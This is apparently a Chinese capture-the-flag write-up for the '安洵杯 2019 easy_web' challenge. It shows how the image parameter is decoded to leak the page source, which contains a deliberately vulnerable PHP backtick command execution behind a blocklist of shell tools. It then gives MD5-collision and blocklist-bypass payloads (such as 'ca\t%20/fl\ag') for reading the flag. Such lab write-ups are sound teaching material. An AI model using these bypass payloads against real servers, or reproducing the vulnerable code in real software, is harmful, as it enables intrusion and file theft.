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[安洵杯 2019]easy_web

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[安洵杯 2019]easy_web

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考点

  • fastcoll进行md5碰撞

  • 命令执行bypass

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wp

进去发现URL有问题index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

尝试对其base64解码，发现解不出，加个=再试试，两次base64，一次hex

TXpVek5UTTFNa1UzTURaRk5qYz0=
MzUzNTM1MkU3MDZFNjc=
3535352E706E67
555.png

读取index.php，index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

得到代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>

MD5是强制转换为string再比较，只能使用fastcoll进行碰撞

fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt

然后绕命令执行，虽然禁用了ls，但是dir还可以使用

空格不能直接敲，要用用%20代替，

过滤了flag和cat，用\绕过，?cmd=ca\t%20/fl\ag 查看flag

或者是?cmd=sort%20/fl\ag

上一页[HarekazeCTF2019]encode_and_encode下一页[Zer0pts2020]Can you guess it?

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